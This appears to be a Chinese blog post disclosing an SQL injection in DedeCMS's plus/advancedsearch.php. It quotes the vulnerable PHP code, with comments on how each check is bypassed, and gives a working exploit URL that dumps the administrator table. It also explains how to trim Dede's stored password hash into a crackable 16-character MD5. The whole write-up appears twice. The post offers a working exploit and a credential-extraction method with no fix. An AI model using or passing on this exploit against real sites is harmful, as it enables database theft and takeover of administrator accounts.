plus/advancedsearch.php
$sql 变量未初始化。导致鸡助注入。
01 if($mid == 0) // 必须绕过,By:俺是农村的。
02 {
03 showmsg('参数不正确,高级自定义搜索必须指定模型 id', 'javascript');
04 exit();
05 }
06 $query = "select maintable, mainfields, addontable, addonfields, template from #@__advancedsearch where mid='$mid'";
07 $searchinfo = $dsql->GetOne($query);
08 if(!is_array($searchinfo)) //囧啊,绕过有难度,
09 {
10 showmsg('自定义搜索模型不存在','-1');
11 exit();
12 }
13 $template = $searchinfo['template'] != '' ? $searchinfo['template'] : 'advancedsearch.htm';
14 if(empty($sql)) //人品问题,成功绕过!
15 {
16 ..............
17 }
18 else
19 {
20 $sql = urldecode($sql);
21 $query = $sql;
22 }
23
24 $sql = urlencode($sql);
25 $dlist = new DataListCP();
26 $dlist->pageSize = 20;
27 $dlist->SetParameter("sql", $sql);
28 $dlist->SetParameter("mid", $mid);
29
30 ................
31
32 $dlist->SetTemplate($templatefile);
33 $dlist->SetSource($query);
34
35 .............
36
37 $dlist->Display();
漏洞利用:
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
dede 的密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5。
$sql 变量未初始化。导致鸡助注入。
01 if($mid == 0) // 必须绕过,By:俺是农村的。
02 {
03 showmsg('参数不正确,高级自定义搜索必须指定模型 id', 'javascript');
04 exit();
05 }
06 $query = "select maintable, mainfields, addontable, addonfields, template from #@__advancedsearch where mid='$mid'";
07 $searchinfo = $dsql->GetOne($query);
08 if(!is_array($searchinfo)) //囧啊,绕过有难度,
09 {
10 showmsg('自定义搜索模型不存在','-1');
11 exit();
12 }
13 $template = $searchinfo['template'] != '' ? $searchinfo['template'] : 'advancedsearch.htm';
14 if(empty($sql)) //人品问题,成功绕过!
15 {
16 ..............
17 }
18 else
19 {
20 $sql = urldecode($sql);
21 $query = $sql;
22 }
23
24 $sql = urlencode($sql);
25 $dlist = new DataListCP();
26 $dlist->pageSize = 20;
27 $dlist->SetParameter("sql", $sql);
28 $dlist->SetParameter("mid", $mid);
29
30 ................
31
32 $dlist->SetTemplate($templatefile);
33 $dlist->SetSource($query);
34
35 .............
36
37 $dlist->Display();
漏洞利用:
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
dede 的密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5。
本文由站长原创或收集,不代表本站立场,如若转载,请注明出处:http://yesck.com/post/441/
本文 暂无 评论